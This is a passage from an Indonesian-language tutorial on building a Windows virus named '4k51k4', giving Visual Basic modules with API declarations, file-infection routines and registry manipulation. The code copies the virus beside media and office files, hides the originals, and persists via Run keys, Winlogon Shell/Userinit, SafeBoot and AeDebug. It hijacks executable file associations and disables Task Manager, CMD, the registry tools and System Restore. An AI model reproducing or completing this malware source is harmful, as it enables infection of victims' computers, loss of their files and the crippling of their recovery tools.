Siapakan satu buah Form dengan satu timer dengan Interval=1000 dan 6 buah module

Pelatihan Pembuatan Virus

Virus 4K51K4 The Black VB

Siapakan satu buah Form dengan satu timer dengan Interval=1000 dan 6 buah module. Perintah dibawah ini pada Module API: 'Registry API Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias _ "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias _ "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" _ (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Declare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, _ phkResult As Long) As Long Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _ ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, _ ByVal cbData As Long) As Long Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) _ As Long Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias _ "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _ ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) _ As Long Public Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" _ (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, _ ByVal lpData As String, ByVal cbData As Long) As Long 'File Public Declare Function GetFileAttributes Lib "kernel32" Alias _ "GetFileAttributesA" (ByVal lpFileName As String) As Long Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _ ByVal bFailIfExists As Long) As Long Public Declare Function SetFileAttributes Lib "kernel32" Alias _ "SetFileAttributesA" (ByVal lpFileName As String, _ ByVal dwFileAttributes As Long) As Long Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _ (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, _ ByVal lpParameters As String, ByVal lpDirectory As String, _ ByVal nShowCmd As Long) As Long Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" _ (ByVal lpFileName As String) As Long 'Path Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" _

DNA [eXTR!M] Memori Club

Page 35



(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _ lParam As Any) As Long Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _ (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, _ ByVal lpsz2 As String) As Long Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" _ (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias _ "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias _ "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Declare Function CreateDirectory Lib "kernel32" Alias _ "CreateDirectoryA" (ByVal lpPathName As String, _ lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long Public Declare Function GetCurrentProcess Lib "kernel32" () As Long Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long Public Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) _ As Long Public Declare Function GetProcAddress Lib "kernel32" _ (ByVal hModule As Long, ByVal lpProcName As String) As Long Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" _ (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, _ ByVal wParam As Long, _ ByVal lParam As Long) As Long Public Declare Function EnumProcesses Lib "psapi.dll" _ (ByRef lpidProcess As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long Public Declare Function OpenProcess Lib "kernel32" _ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long Public Declare Function TerminateProcess Lib "kernel32" _ (ByVal hProcess As Long, ByVal uExitCode As Long) As Long Public Declare Function Process32First Lib "kernel32" _ (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long Public Declare Function Process32Next Lib "kernel32" _ (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, _ ByVal dwReserved As Long) As Long Public Declare Function RegisterServiceProcess Lib "kernel32" _


Page 36



(ByVal dwProcessId As Long, ByVal dwType As Long) As Long Public Declare Function FreeLibrary Lib "kernel32" _ (ByVal hLibModule As Long) As Long Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" _ (ByVal lpLibFileName As String) As Long Public Declare Function CloseHandle Lib "kernel32.dll" _ (ByVal Handle As Long) As Long Public Declare Function GetModuleFileNameExA Lib "psapi.dll" _ (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, _ ByVal nSize As Long) As Long Public Declare Function EnumProcessModules Lib "psapi.dll" _ (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, _ ByRef cbNeeded As Long) As Long Public Declare Function GetFileTitle Lib "comdlg32.dll" Alias _ "GetFileTitleA" (ByVal lpszFile As String, _ ByVal lpszTitle As String, _ ByVal cbBuf As Integer) As Integer Public Declare Function Module32First Lib "kernel32" _ (ByVal hSnapshot As Long, lpme As MODULEENTRY32) As Long Public Declare Function Module32Next Lib "kernel32" _ (ByVal hSnapshot As Long, lpme As MODULEENTRY32) As Long Public Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias _ "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) _ As Long Public Declare Function OpenProcessToken Lib "advapi32.dll" _ (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, _ TokenHandle As Long) As Long Public Declare Function LookupPrivilegeValue Lib "advapi32" Alias _ "LookupPrivilegeValueA" (ByVal lpSystemName As String, _ ByVal lpName As String, lpLuid As LUID) As Long Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" _ (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, _ NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, _ PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long Public Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" _ (lpVersionInformation As OSVERSIONINFO) As Long Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _ (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _ (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" _ (ByVal nDrive As String) As Long Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _ ByVal nCmdShow As Long) As Long


Page 37



Public Declare Function GetForegroundWindow Lib "user32" () As Long Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" _ (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Public Const WM_CLOSE = &H10 Public Const SW_HIDE = 0 Public Const EWX_FORCE = 4 Public Const EWX_REBOOT = 2 Public Const EWX_SHUTDOWN = 1 Public Const WM_GETTEXT = &HD Public Const VER_PLATFORM_WIN32_NT = 2 Public Const TOKEN_ADJUST_PRIVILEGES = &H20 Public Const TOKEN_QUERY = &H8 Public Const SE_PRIVILEGE_ENABLED = &H2 Public Const ANYSIZE_ARRAY = 1 Public Const INVALID_HANDLE_VALUE = -1 Public Const FILE_ATTRIBUTE_SYSTEM = &H4 Public Const FILE_ATTRIBUTE_READONLY = &H1 Public Const FILE_ATTRIBUTE_HIDDEN = &H2 Public Const FILE_ATTRIBUTE_DIRECTORY = &H10 Public Const FILE_ATTRIBUTE_ARCHIVE = &H20 Public Const FILE_ATTRIBUTE_NORMAL = &H80 Public Const FO_DELETE = &H3 Public Const REG_DWORD = 4 Public Const PROCESS_QUERY_INFORMATION = 1024 Public Const PROCESS_VM_READ = 16 Public Const MAX_PATH = 260 Public Const STANDARD_RIGHTS_REQUIRED = &HF0000 Public Const SYNCHRONIZE = &H100000 Public Const PROCESS_ALL_ACCESS = &H1F0FFF Public Const MAX_MODULE_NAME32 As Integer = 255 Public Const MAX_MODULE_NAME32plus As Integer = MAX_MODULE_NAME32 + 1 Public Const TH32CS_SNAPHEAPLIST = &H1 Public Const TH32CS_SNAPPROCESS = &H2 Public Const TH32CS_SNAPTHREAD = &H4 Public Const TH32CS_SNAPMODULE = &H8 Public Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or _ TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE) Public Const hNull = 0 Public Const ERROR_SUCCESS = &H0 Public Const RSP_SIMPLE_SERVICE = 1 Public Const RSP_UNREGISTER_SERVICE = 0 Public Const FO_COPY = &H2 Public Const FOF_ALLOWUNDO = &H40 Public Const MAXDWORD = &HFFFF Public Const FILE_ATTRIBUTE_TEMPORARY = &H100 Public Type FILETIME dwLowDateTime As Long dwHighDateTime As Long End Type Public Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As FILETIME ftLastAccessTime As FILETIME ftLastWriteTime As FILETIME nFileSizeHigh As Long


Page 38



nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long cFileName As String * MAX_PATH cAlternate As String * 14 End Type Public Type SHFILEOPSTRUCT hwnd As Long wFunc As Long pFrom As String pTo As String fFlags As Integer fAnyOperationsAborted As Long hNameMappings As Long lpszProgressTitle As String End Type Public Type PROCESSENTRY32 dwSize As cntUsage As th32ProcessID As th32DefaultHeapID As th32ModuleID As cntThreads As th32ParentProcessID As pcPriClassBase As dwFlags As szExeFile As End Type

Long Long Long Long Long Long Long Long Long String * MAX_PATH

Public Type MODULEENTRY32 dwSize As Long th32ModuleID As Long th32ProcessID As Long GlblcntUsage As Long ProccntUsage As Long modBaseAddr As Long modBaseSize As Long hModule As Long szModule As String * MAX_MODULE_NAME32plus szExePath As String * MAX_PATH End Type Public Type OSVERSIONINFO dwOSVersionInfoSize As Long dwMajorVersion As Long dwMinorVersion As Long dwBuildNumber As Long dwPlatformId As Long szCSDVersion As String * 128 End Type Public Type LUID LowPart As Long HighPart As Long End Type Public Type LUID_AND_ATTRIBUTES pLuid As LUID


Page 39



Attributes As Long End Type Public Type TOKEN_PRIVILEGES PrivilegeCount As Long Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES End Type Public Type SHITEMID cb As Long abID As Byte End Type Public Type ITEMIDLIST mkid As SHITEMID End Type Public Type SECURITY_ATTRIBUTES nLength As Long lpSecurityDescriptor As Long bInheritHandle As Long End Type Public Public Public Public Public Public Public

Selesai As Boolean Ketemu As Boolean Ketemu2 As Boolean sPathLama1 As String sPathLama2 As String TmpDrv As String TmpDrv2 As String

Ketikan perintah dibawah ini pada module cari: 'cari file Public Function CariFile(Path As String, SearchStr As String, _ ByVal Jenis As Integer) As Integer On Error Resume Next Dim FileName As String Dim hSearch As Double Dim WFD As WIN32_FIND_DATA Dim cont As Double CariFile = 0 Selesai = False If Right(Path, 1) <> "\" Then Path = Path & "\" cont = True hSearch = FindFirstFile(Path & "*", WFD) If hSearch <> INVALID_HANDLE_VALUE Then Do While cont FileName = Mid$(WFD.cFileName, 1, InStr(WFD.cFileName, _ Chr$(0)) - 1) If (FileName <> ".") And (FileName <> "..") Then If Not FILE_ATTRIBUTE_DIRECTORY Then If WFD.dwFileAttributes = 128 Or _ WFD.dwFileAttributes = 32 Then If UCase(Right$(FileName, 3)) = "MP3" _ Or UCase(Right$(FileName, 3)) = "MP4" _


Page 40



Or UCase(Right$(FileName, 3)) = "MPG" _ Or UCase(Right$(FileName, 4)) = "MPEG" _ Or UCase(Right$(FileName, 3)) = "AVI" _ Or Case(Right$(FileName, 3)) = "DAT" _ Or UCase(Right$(FileName, 3)) = "WMV" _ Or UCase(Right$(FileName, 3)) = "JPG" _ Or UCase(Right$(FileName, 3)) = "GIF" _ Or UCase(Right$(FileName, 3)) = "JPEG" _ Or UCase(Right$(FileName, 3)) = "PNG" _ Or UCase(Right$(FileName, 3)) = "ASX" _ Or UCase(Right$(FileName, 3)) = "WMA" _ Or UCase(Right$(FileName, 3)) = "MDB" _ Or UCase(Right$(FileName, 3)) = "XLS" Then CopyFile Left$(GetWindowsPath, 3) & _ "4k51k4.exe", Path & CariNama(FileName) & _ " .exe", 0 SetFileAttributes Path & CariNama(FileName) & _ " .exe", FILE_ATTRIBUTE_NORMAL DoEvents SetFileAttributes Path & FileName, _ FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY CariFile = CariFile + 1 DoEvents End If End If End If End If cont = FindNextFile(hSearch, WFD) Loop cont = FindClose(hSearch) End If hSearch = FindFirstFile(Path & SearchStr, WFD) cont = True Selesai = True If Jenis = 1 Then sPathLama1 = Path ElseIf Jenis = 2 Then sPathLama2 = Path End If DoEvents End Function 'cari folder Public Function CariDirectory(Path As String, SearchStr As String, _ sTemp As String, ByVal Jenis As Integer) As Double Dim DirName As String Dim DirNames() As String Dim nDir As Double Dim i As Double Dim hSearch As Double Dim WFD As WIN32_FIND_DATA Dim cont As Double If Right(Path, 1) <> "\" Then Path = Path & "\" nDir = 0 ReDim DirNames(nDir) cont = True


Page 41



hSearch = FindFirstFile(Path & "*", WFD) If hSearch <> INVALID_HANDLE_VALUE Then Do While cont DirName = Mid$(WFD.cFileName, 1, _ InStr(WFD.cFileName, Chr$(0)) - 1) If (DirName <> ".") And (DirName <> "..") Then If GetFileAttributes(Path & DirName) _ And FILE_ATTRIBUTE_DIRECTORY Then DirNames(nDir) = DirName nDir = nDir + 1 ReDim Preserve DirNames(nDir) If UCase(DirName) = UCase(SearchStr) Then Dim tamp As String If Jenis = 1 Then CariFile Path & DirName & "\", "*.*", 1 Else CariFile Path & DirName & "\", "*.*", 2 End If DoEvents CopyFile Left$(GetWindowsPath, 3) & "4k51k4.exe", _ Path & DirName & "\" & NamaFile(Path & DirName) & _ " .exe", 0 SetFileAttributes Path & DirName & "\" & _ NamaFile(Path & DirName) & " .exe", _ FILE_ATTRIBUTE_NORMAL sTemp = SearchStr TmpDrv = Left$(Path, 3) Exit Function End If If UCase(DirName) = UCase("Startup") Then CopyFile Left$(GetWindowsPath, 3) & "4k51k4.exe", _ Path & DirName & "\" & _ NamaFile(Path & DirName) & " .exe", 0 SetFileAttributes Path & DirName & "\" & _ NamaFile(Path & DirName) & " .exe", _ FILE_ATTRIBUTE_NORMAL DoEvents End If End If End If cont = FindNextFile(hSearch, WFD) Loop cont = FindClose(hSearch) End If If nDir > 0 Then For i = 0 To nDir - 1 CariDirectory Path & DirNames(i) & "\", SearchStr, sTemp, Jenis Next i End If Ketemu = False End Function 'cari nama file/folder Public Function CariNama(sName As String) As String On Error Resume Next Dim i As Integer i = 0


Page 42



For i = Len(sName) To 1 Step -1 If Mid$(sName, i, 1) = "." Then CariNama = Left$(sName, i - 1) Exit Function End If Next End Function 'dapatkan nama file Public Function NamaFile(sPath As String) As String On Error Resume Next Dim i As Integer NamaFile = "" i = 0 If Right(sPath, 1) = "\" Then sPath = Left$(sPath, Len(sPath) - 1) For i = Len(sPath) To 1 Step -1 If Mid$(sPath, i, 1) = "\" Then NamaFile = Right(sPath, Len(sPath) - i) Exit Function End If DoEvents Next End Function 'dapatkan nama path Public Function NamaPath(sPath As String) As String On Error Resume Next Dim i As Integer NamaPath = sPath For i = Len(NamaPath) To 1 Step -1 If Mid$(NamaPath, i, 1) = "\" Then NamaPath = Left$(NamaPath, i) Exit Function End If DoEvents Next i NamaPath = "" End Function

Ketikan perintah dibawah ini pada module Fungsi: Enum REG HKEY_CURRENT_USER = &H80000001 HKEY_CLASSES_ROOT = &H80000000 HKEY_CURRENT_CONFIG = &H80000005 HKEY_LOCAL_MACHINE = &H80000002 HKEY_USERS = &H80000003 End Enum Enum TypeStringValue REG_SZ = 1


Page 43



REG_EXPAND_SZ = 2 REG_MULTI_SZ = 7 End Enum Enum TypeBase TypeHexadecimal TypeDecimal End Enum Enum SFolder CSIDL_DESKTOP = &H0 'menunjukkan folder virtual yang menyatakan root untuk 'semua namespace (/Desktop) CSIDL_PROGRAMS = &H2 'menunjukkan folder sistem yang berisi grup program 'user (/Programs) CSIDL_CONTROLS = &H3 'menunjukkan folder virtual yang berisi ikon-ikon 'aplikasi Control Panel (/Control Panel) CSIDL_PRINTERS = &H4 'menunukkan folder virtual yang berisi printer'printer yang diinstall (/Printers) CSIDL_PERSONAL = &H5 'menunjukkan folder sistem yang digunakan untuk 'menyimpan dokumen umum user (/My Document) CSIDL_FAVORITES = &H6 'menunjukkan folder yang berisi item-item favorite 'user (/Favorites) CSIDL_STARTUP = &H7 'menunjukkan folder yang berisi grup program StartUp 'user (/Startup) CSIDL_RECENT = &H8 'menunjukkan folder sistem yang berisi dokumen-dokumen 'yang sering digunakan (/Recent) CSIDL_SENDTO = &H9 'menunjukkan folder yang berisi item menu Send To '(/Send To) CSIDL_BITBUCKET = &HA 'menunjukkan folder sistem yang berisi objek file 'pada RecycleBin user (/Recycle Bin) CSIDL_STARTMENU = &HB 'menunjukkan folder sistem yang berisi item-item 'menu Start (/StartMenu) CSIDL_DESKTOPDIRECTORY = &H10 'menunjukkan folder sistem yang dapatkan 'digunakan untuk menyimpan objek file 'secara fisik pada desktop CSIDL_DRIVES = &H11 'menunjukkan folder yang berisi segala sesuatu pada 'komputer lokal (/My Computer) CSIDL_NETWORK = &H12 'menunjukkan folder yang berisi objek link yang 'kemungkinan ada pada folder virtual My Network 'Places (/My Network Places) CSIDL_NETHOOD = &H13 'menunjukkan folder yang menyatakan root dari 'hierarki namespace network (/NetHood) CSIDL_FONTS = &H14 'menunjukkan folder yang berisikan font (/FONT) CSIDL_TEMPLATES = &H15 'menunjukkan folder yang digunakan untuk menyimpan 'dokumen template (/Template) End Enum 'Get special folder Public Function GetSpecialfolder(JenisFolder As SFolder) As String Dim r As Long Dim IDL As ITEMIDLIST 'get special folder r = SHGetSpecialFolderLocation(100, JenisFolder, IDL) If r = NOERROR Then 'create buffer Path$ = Space$(512) 'Get path from IDList(IDL) r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)


Page 44



'Remove chr$(0) GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1) Exit Function End If GetSpecialfolder = "" End Function 'Get User Folder Public Function GetFolderUser() As String Dim r As Long Dim IDL As ITEMIDLIST Dim i As Integer 'Get special folder r = SHGetSpecialFolderLocation(100, CSIDL_PERSONAL, IDL) If r = NOERROR Then 'Create Buffer Path$ = Space$(512) 'Get Path from IDList(IDL) r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$) 'Remove chr$(0) GetFolderUser = Left$(Path, InStr(Path, Chr$(0)) - 1) For i = Len(GetFolderUser) To 1 Step -1 If Mid$(GetFolderUser, i, 1) = "\" Then GetFolderUser = Left(GetFolderUser, i - 1) Exit Function End If DoEvents Next i Exit Function End If GetFolderUser = "" End Function 'Get DocumentAndSettings Path Public Function GetDocumentAndSettings() As String On Error Resume Next Dim i As Integer GetDocumentAndSettings = GetFolderUser For i = Len(GetDocumentAndSettings) To 1 Step -1 If Mid$(GetDocumentAndSettings, i, 1) = "\" Then GetDocumentAndSettings = Left(GetDocumentAndSettings, i - 1) Exit Function End If DoEvents Next i GetDocumentAndSettings = "" End Function 'Get actived User Public Function GetUserAktif() As String On Error Resume Next


Page 45



Dim i As Integer GetUserAktif = GetFolderUser For i = Len(GetUserAktif) To 1 Step -1 If Mid$(GetUserAktif, i, 1) = "\" Then GetUserAktif = Right(GetUserAktif, Len(GetUserAktif) - i) Exit Function End If DoEvents Next i GetUserAktif = "" End Function 'Get LocalSettingUser Path Public Function GetLocalSettingsUser() As String On Error Resume Next Dim r As Long Dim IDL As ITEMIDLIST Dim i As Integer 'dapatkan special folder r = SHGetSpecialFolderLocation(100, CSIDL_PERSONAL, IDL) If r = NOERROR Then 'buat buffer Path$ = Space$(512) 'dapatkan path dari IDList(IDL) r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$) 'hapus karakter chr$(0) yang tidak dibutuhkan GetLocalSettingsUser = Left$(Path, InStr(Path, Chr$(0)) - 1) For i = Len(GetLocalSettingsUser) To 1 Step -1 If Mid$(GetLocalSettingsUser, i, 1) = "\" Then GetLocalSettingsUser = Left(GetLocalSettingsUser, i - 1) & _ "\Local Settings" Exit Function End If DoEvents Next i Exit Function End If GetLocalSettingsUser = "" End Function 'Get System Path Public Function GetSystemPath() As String On Error Resume Next Dim Buffer As String * 255 Dim x As Long x = GetSystemDirectory(Buffer, 255) GetSystemPath = Left(Buffer, x) & "\" End Function 'Get Windows Path


Page 46



Public Function GetWindowsPath() As String On Error Resume Next Dim Buffer As String * 255 Dim x As Long x = GetWindowsDirectory(Buffer, 255) GetWindowsPath = Left(Buffer, x) & "\" End Function 'Create or Set Dword Value Registry Public Function CreateDwordValue(hKey As REG, Subkey As String, _ strValueName As String, dwordData As Long) As Long On Error Resume Next Dim ret As Long RegCreateKey hKey, Subkey, ret CreateDwordValue = RegSetValueEx(ret, strValueName, 0, REG_DWORD, _ dwordData, 4) RegCloseKey ret End Function 'Create or Set String Value Registry Public Function CreateStringValue(hKey As REG, Subkey As String, _ RTypeStringValue As TypeStringValue, strValueName As String, _ strData As String) As Long On Error Resume Next Dim ret As Long RegCreateKey hKey, Subkey, ret CreateStringValue = RegSetValueEx(ret, strValueName, 0, _ RTypeStringValue, ByVal strData, _ Len(strData)) RegCloseKey ret End Function 'Reboot Windows(Not WinNT) Public Function Reboot() As Long On Error Resume Next LogOff = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0) End Function 'Detection WinNT Public Function IsWinNT() As Boolean On Error Resume Next Dim myOS As OSVERSIONINFO myOS.dwOSVersionInfoSize = Len(myOS) GetVersionEx myOS IsWinNT = (myOS.dwPlatformId = VER_PLATFORM_WIN32_NT) End Function


Page 47



'For Get Privileges from Win NT Public Sub EnableShutDown() On Error Resume Next Dim hProc As Long Dim hToken As Long Dim mLUID As LUID Dim mPriv As TOKEN_PRIVILEGES Dim mNewPriv As TOKEN_PRIVILEGES hProc = GetCurrentProcess() OpenProcessToken hProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, hToken LookupPrivilegeValue "", "SeShutdownPrivilege", mLUID mPriv.PrivilegeCount = 1 mPriv.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED mPriv.Privileges(0).pLuid = mLUID 'Setting Privileges windows NT AdjustTokenPrivileges hToken, False, mPriv, 4 + _ (12 * mPriv.PrivilegeCount), mNewPriv, 4 + (12 * mNewPriv.PrivilegeCount) End Sub ' Reboot For WinNT Public Sub RebootNT(Force As Boolean) Dim Flags As Long Flags = EWX_REBOOT If Force Then Flags = Flags + EWX_FORCE If IsWinNT Then EnableShutDown ExitWindowsEx Flags, 0 End Sub Public Sub Sett() On Error Resume Next '============================================================================ = ' AutoRun\Startup Virus ‘============================================================================= 'Run Virus CreateStringValue HKEY_CURRENT_USER, "Control Panel\Desktop\", REG_SZ, _ "SCRNSAVE.EXE", GetSystemPath & "MRHELL~1.SCR" CreateStringValue HKEY_CURRENT_USER, "Control Panel\Desktop\", REG_SZ, _ "ScreenSaverIsSecure", "0" CreateStringValue HKEY_CURRENT_USER, _ "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "4k51k4", _ GetWindowsPath & "4k51k4.exe" CreateStringValue HKEY_CURRENT_USER, _ "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "MSMSGS", _ GetLocalSettingsUser & "\Application Data\WINDOWS\WINLOGON.EXE" CreateStringValue HKEY_CURRENT_USER, _ "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Service" & _


Page 48



GetUserAktif, GetLocalSettingsUser & _ "\Application Data\WINDOWS\SERVICES.EXE" CreateStringValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Logon" & _ GetUserAktif, GetLocalSettingsUser & _ "\Application Data\WINDOWS\CSRSS.EXE" CreateStringValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, _ "System Monitoring", GetLocalSettingsUser & _ "\Application Data\WINDOWS\LSASS.EXE" CreateStringValue HKEY_LOCAL_MACHINE, _ "SYSTEM\CurrentControlSet\Control\SafeBoot\", REG_SZ, "AlternateShell", _ GetWindowsPath & "4k51k4.exe" CreateStringValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", REG_SZ, _ "Shell", "Explorer.exe " & Chr(&H22) & GetSystemPath & _ "IExplorer.exe" & Chr(&H22) CreateStringValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", REG_SZ, _ "Userinit", GetSystemPath & "userinit.exe," & GetSystemPath & _ "IExplorer.exe" CreateStringValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug", REG_SZ, _ "Debugger", Chr(&H22) & GetSystemPath & "Shell.exe" & Chr(&H22) CreateStringValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug", REG_SZ, "Auto", _ "1" 'File For Run Virus CreateStringValue HKEY_CLASSES_ROOT, "exefile\shell\open\command", _ REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & _ Chr(&H22) & "%1" & Chr(&H22) & " %*" CreateStringValue HKEY_CLASSES_ROOT, "lnkfile\shell\open\command", _ REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & _ Chr(&H22) & "%1" & Chr(&H22) & " %*" CreateStringValue HKEY_CLASSES_ROOT, "piffile\shell\open\command", _ REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & _ Chr(&H22) & "%1" & Chr(&H22) & " %*" CreateStringValue HKEY_CLASSES_ROOT, "batfile\shell\open\command", _ REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & _ Chr(&H22) & "%1" & Chr(&H22) & " %*" CreateStringValue HKEY_CLASSES_ROOT, "comfile\shell\open\command", _ REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & _ Chr(&H22) & "%1" & Chr(&H22) & " %*" '========================================================================= ==== '============================================================================= 'Protected Virus


Page 49



'============================================================================= 'Type File For *.exe CreateStringValue HKEY_CLASSES_ROOT, "exefile", REG_SZ, "", "File Folder" 'Disable CMD CreateDwordValue HKEY_CURRENT_USER, _ "Software\Microsoft\Windows\CurrentVersion\Policies\System\", _ "DisableCMD", 1 'Disable Task Manager CreateDwordValue HKEY_CURRENT_USER, _ "Software\Microsoft\Windows\CurrentVersion\Policies\System\", _ "DisableTaskMgr", 1 CreateDwordValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\", _ "DisableTaskMgr", 1 'Disable Folder Options CreateDwordValue HKEY_CURRENT_USER, _ "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\", _ "NoFolderOptions", 1 CreateDwordValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\", _ "NoFolderOptions", 1 'Disable Registry Tools CreateDwordValue HKEY_CURRENT_USER, _ "Software\Microsoft\Windows\CurrentVersion\Policies\System\", _ "DisableRegistryTools", 1 CreateDwordValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\", _ "DisableRegistryTools", 1 'Disable System Restore CreateDwordValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableConfig", 1 CreateDwordValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableSR", 1 CreateDwordValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Policies\Microsoft\Windows\Installer", _ "LimitSystemRestoreCheckpointing", 1 CreateDwordValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Policies\Microsoft\Windows\Installer", "DisableMSI", 1 'Show Full Path at Address Bar CreateDwordValue HKEY_CURRENT_USER, _ "Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState", _ "FullPathAddress", 1 '========================================================================= ==== DoEvents End Sub


Page 50



